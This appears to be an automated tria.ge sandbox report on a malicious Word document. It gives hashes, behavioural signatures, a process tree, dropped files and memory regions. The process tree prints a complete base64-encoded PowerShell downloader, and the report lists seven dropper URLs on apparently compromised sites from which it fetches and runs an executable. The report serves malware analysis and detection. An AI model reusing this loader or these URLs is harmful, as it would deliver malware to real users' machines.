Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    120s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    08/05/2024, 12:19

General

  • Target

    24cecf78cc9e295d308dc40cd4bfdb7e_JaffaCakes118.doc

  • Size

    191KB

  • MD5

    24cecf78cc9e295d308dc40cd4bfdb7e

  • SHA1

    5f7c0857acbf88cd45e1f98c4a125c948cb41162

  • SHA256

    2bc8e76e92e5fe4a27e7bcdf6b5982ba7da19098c3df9d8105b34118144a94e9

  • SHA512

    b67e1fb94ff126b1dcd93d254c875dd18778824b0ac5360486b553e09d7da1e2f2490ee5efef84d0242bf5d2204d364d55bff5f625f6a1e1c90aa113f202df0d

  • SSDEEP

    3072:i9ufstRUUKSns8T00JSHUgteMJ8qMD7gjI0zKNf9cfmfE7qdmVJKk/Juvc5a8a8B:i9ufsfgIf0pLLKbW

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://reklamdasiniz.com/wp-admin/W/

exe.dropper

http://www.paramedicaleducationguidelines.com/wp-admin/7S/

exe.dropper

http://bimasoftcbt.maannajahjakarta.com/wp-admin/i3K/

exe.dropper

http://casualhome.com/wp-admin/Y/

exe.dropper

https://aemine.vn/wp-admin/KMq/

exe.dropper

http://aahnaturals.net/wp-includes/A3/

exe.dropper

https://sbsec.org/bsadmin-portal/1nf/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\24cecf78cc9e295d308dc40cd4bfdb7e_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:756
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:852
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD JABWAHQAbQBmADQAegB5AD0AKAAoACcATABsACcAKwAnADcAJwApACsAKAAnAGwAJwArACcAMQBpACcAKQArACcAeQAnACkAOwAmACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAE4AVgA6AHUAcwBFAHIAUABSAE8ARgBpAEwARQBcAEsAdgBvADkAOQAwAFcAXAB5AGgAVwAwAFMAOABlAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAGUAYwB0AG8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwB1AGAAUgBJAGAAVAB5AFAAYABSAG8AVABvAGAAYwBvAEwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxACcAKwAnADIALAAgACcAKQArACcAdAAnACsAKAAnAGwAcwAxACcAKwAnADEALAAnACsAJwAgAHQAbABzACcAKQApADsAJABBADAAOABwAHMAcABfACAAPQAgACgAKAAnAE4AJwArACcANABrACcAKQArACgAJwBxACcAKwAnAHUAcAAnACkAKQA7ACQAVwB3AGUAcwBnAHUAcwA9ACgAJwBEACcAKwAoACcANgByACcAKwAnAHYAJwApACsAKAAnADAAJwArACcAYwA1ACcAKQApADsAJABWAGgAYwBxAG8AZwBxAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAE8AJwArACgAJwBxAEkAJwArACcASwB2AG8AOQAnACkAKwAoACcAOQAwAHcATwBxAEkAJwArACcAWQBoACcAKQArACcAdwAnACsAJwAwACcAKwAnAHMAJwArACgAJwA4ACcAKwAnAGUATwBxAEkAJwApACkAIAAgAC0AUgBlAFAAbABhAEMARQAoACcATwAnACsAJwBxAEkAJwApACwAWwBDAEgAQQByAF0AOQAyACkAKwAkAEEAMAA4AHAAcwBwAF8AKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFMAOAA1AHMAeABkAGsAPQAoACcAUwAnACsAKAAnAHUAdAAnACsAJwBwAHoAeAB6ACcAKQApADsAJABKAGgANQBnAG4ANwBmAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAEUAdAAuAHcARQBiAGMAbABpAEUAbgBUADsAJABUADgAeQA4AGsAeAB5AD0AKAAoACcAaAB0AHQAJwArACcAcAA6AC8AJwArACcALwByAGUAawAnACsAJwBsAGEAbQAnACsAJwBkACcAKQArACgAJwBhAHMAJwArACcAaQBuAGkAegAnACsAJwAuAGMAbwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtACcAKQArACcAYQAnACsAJwBkAG0AJwArACgAJwBpACcAKwAnAG4ALwBXAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHcAdwB3AC4AcAAnACsAJwBhACcAKQArACgAJwByAGEAbQBlAGQAJwArACcAaQBjAGEAbAAnACkAKwAnAGUAJwArACgAJwBkAHUAYwAnACsAJwBhACcAKQArACgAJwB0ACcAKwAnAGkAbwBuAGcAdQAnACsAJwBpAGQAZQBsAGkAbgAnACkAKwAoACcAZQAnACsAJwBzAC4AJwApACsAKAAnAGMAbwBtAC8AdwBwACcAKwAnAC0AYQBkACcAKwAnAG0AJwApACsAKAAnAGkAbgAnACsAJwAvADcAUwAvACoAJwArACcAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAvAC8AJwArACcAYgBpAG0AYQAnACsAJwBzACcAKQArACcAbwAnACsAKAAnAGYAdABjAGIAJwArACcAdAAuAG0AYQAnACsAJwBhAG4AJwApACsAKAAnAG4AJwArACcAYQBqACcAKQArACgAJwBhACcAKwAnAGgAagBhACcAKwAnAGsAYQAnACkAKwAnAHIAdAAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAHcAcAAnACkAKwAoACcALQAnACsAJwBhAGQAbQBpACcAKwAnAG4AJwApACsAKAAnAC8AaQAnACsAJwAzAEsALwAqACcAKwAnAGgAdAB0AHAAJwArACcAOgAvAC8AJwApACsAKAAnAGMAYQBzAHUAYQBsACcAKwAnAGgAbwBtAGUALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQAnACkAKwAoACcAaQAnACsAJwBuAC8AWQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcABzADoALwAvAGEAJwArACcAZQBtACcAKQArACgAJwBpACcAKwAnAG4AZQAnACkAKwAoACcALgB2ACcAKwAnAG4AJwApACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAJwBhACcAKwAoACcAZAAnACsAJwBtAGkAJwApACsAJwBuACcAKwAnAC8AJwArACgAJwBLAE0AcQAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6ACcAKQArACgAJwAvAC8AYQBhACcAKwAnAGgAJwApACsAKAAnAG4AYQAnACsAJwB0ACcAKQArACgAJwB1ACcAKwAnAHIAJwArACcAYQBsACcAKwAnAHMALgBuAGUAdAAvAHcAcAAnACkAKwAnAC0AaQAnACsAKAAnAG4AYwBsAHUAZAAnACsAJwBlACcAKwAnAHMALwBBADMALwAqAGgAdAB0AHAAJwArACcAcwAnACkAKwAoACcAOgAvAC8AcwAnACsAJwBiACcAKQArACcAcwAnACsAJwBlAGMAJwArACgAJwAuACcAKwAnAG8AcgAnACkAKwAoACcAZwAnACsAJwAvAGIAJwApACsAKAAnAHMAJwArACcAYQBkAG0AaQAnACkAKwAoACcAbgAtACcAKwAnAHAAJwApACsAKAAnAG8AJwArACcAcgB0ACcAKQArACgAJwBhAGwAJwArACcALwAxACcAKQArACgAJwBuACcAKwAnAGYALwAnACkAKQAuACIAUwBgAFAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAGcAcQB1AHoAZwBzAD0AKAAoACcAWQBwADMAJwArACcAcgBpACcAKQArACcAeQAnACsAJwB6ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0AcwByAHkAYQAwAG4AIABpAG4AIAAkAFQAOAB5ADgAawB4AHkAKQB7AHQAcgB5AHsAJABKAGgANQBnAG4ANwBmAC4AIgBkAGAAbwBXAE4AbABPAGAAQQBEAGYAYABJAGwAZQAiACgAJABNAHMAcgB5AGEAMABuACwAIAAkAFYAaABjAHEAbwBnAHEAKQA7ACQAUwAwAHYAdAAyADkAMgA9ACgAJwBJADYAJwArACgAJwA0AHgAJwArACcAYQAnACkAKwAnAGMAZwAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQAVgBoAGMAcQBvAGcAcQApAC4AIgBsAEUATgBgAGcAYABUAGgAIgAgAC0AZwBlACAAMgA5ADgANAAyACkAIAB7AC4AKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAFYAaABjAHEAbwBnAHEAKQA7ACQAUABmADQAeABrAGcAdAA9ACgAJwBVACcAKwAnAHUAJwArACgAJwBoAG0ANAAnACsAJwBhAGIAJwApACkAOwBiAHIAZQBhAGsAOwAkAE4AMQAyAGMAZgBmAHMAPQAoACgAJwBRAGkAJwArACcANQBuADcAJwApACsAJwBhACcAKwAnADcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABHAGwAdwBzADcAbgBwAD0AKAAoACcAQQBlACcAKwAnADkAJwApACsAKAAnAG4AdQByACcAKwAnAHQAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2608

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      68KB

      MD5

      29f65ba8e88c063813cc50a4ea544e93

      SHA1

      05a7040d5c127e68c25d81cc51271ffb8bef3568

      SHA256

      1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

      SHA512

      e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

      Filesize

      344B

      MD5

      575431559a3ca90df76d1f8acea10d02

      SHA1

      94d46c83ae81d31cddd68af09d742a1922658773

      SHA256

      5e05d75eba4ea10f342e262a1d590a4e25ec3e7e7f2d27389c7518d08a975acd

      SHA512

      4307769e636ce9b1cdd71e5d619ea8b14341453c503879e8677eb55bc110bcc3aeee414c1e99906b93f1c376f3166c4d7e1e905a1f89f87c243bdd39e8e2a050

    • C:\Users\Admin\AppData\Local\Temp\Cab43C6.tmp

      Filesize

      65KB

      MD5

      ac05d27423a85adc1622c714f2cb6184

      SHA1

      b0fe2b1abddb97837ea0195be70ab2ff14d43198

      SHA256

      c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

      SHA512

      6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

    • C:\Users\Admin\AppData\Local\Temp\Tar4498.tmp

      Filesize

      177KB

      MD5

      435a9ac180383f9fa094131b173a2f7b

      SHA1

      76944ea657a9db94f9a4bef38f88c46ed4166983

      SHA256

      67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

      SHA512

      1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      19ff1bbb9bec539a356ddf7273e97175

      SHA1

      c6fc248592c8a1b5fe921069975f5bd8c9106721

      SHA256

      e35983cb93dddc75d5128ceb741a84077c46c7e9c55ecd2c5278253aeee3ff9c

      SHA512

      6d97a2c35132cd3532dc317644f1d7c60a6eb214dabafe4a15297d3bbfa143e86b588001b69383d9668208756f5041681221406ed497fcb4d89a03200210ca01

    • memory/756-29-0x00000000058C0000-0x00000000059C0000-memory.dmp

      Filesize

      1024KB

    • memory/756-32-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-8-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-30-0x00000000058C0000-0x00000000059C0000-memory.dmp

      Filesize

      1024KB

    • memory/756-0-0x000000002FD51000-0x000000002FD52000-memory.dmp

      Filesize

      4KB

    • memory/756-28-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-17-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-15-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-16-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-14-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-12-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-11-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-37-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-38-0x00000000058C0000-0x00000000059C0000-memory.dmp

      Filesize

      1024KB

    • memory/756-33-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-10-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-31-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-40-0x00000000058C0000-0x00000000059C0000-memory.dmp

      Filesize

      1024KB

    • memory/756-39-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-142-0x00000000713FD000-0x0000000071408000-memory.dmp

      Filesize

      44KB

    • memory/756-141-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/756-9-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-7-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-6-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-2-0x00000000713FD000-0x0000000071408000-memory.dmp

      Filesize

      44KB

    • memory/756-118-0x00000000713FD000-0x0000000071408000-memory.dmp

      Filesize

      44KB

    • memory/756-120-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-121-0x00000000001B0000-0x00000000002B0000-memory.dmp

      Filesize

      1024KB

    • memory/756-122-0x00000000058C0000-0x00000000059C0000-memory.dmp

      Filesize

      1024KB

    • memory/756-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2608-47-0x0000000001F80000-0x0000000001F88000-memory.dmp

      Filesize

      32KB

    • memory/2608-46-0x000000001B660000-0x000000001B942000-memory.dmp

      Filesize

      2.9MB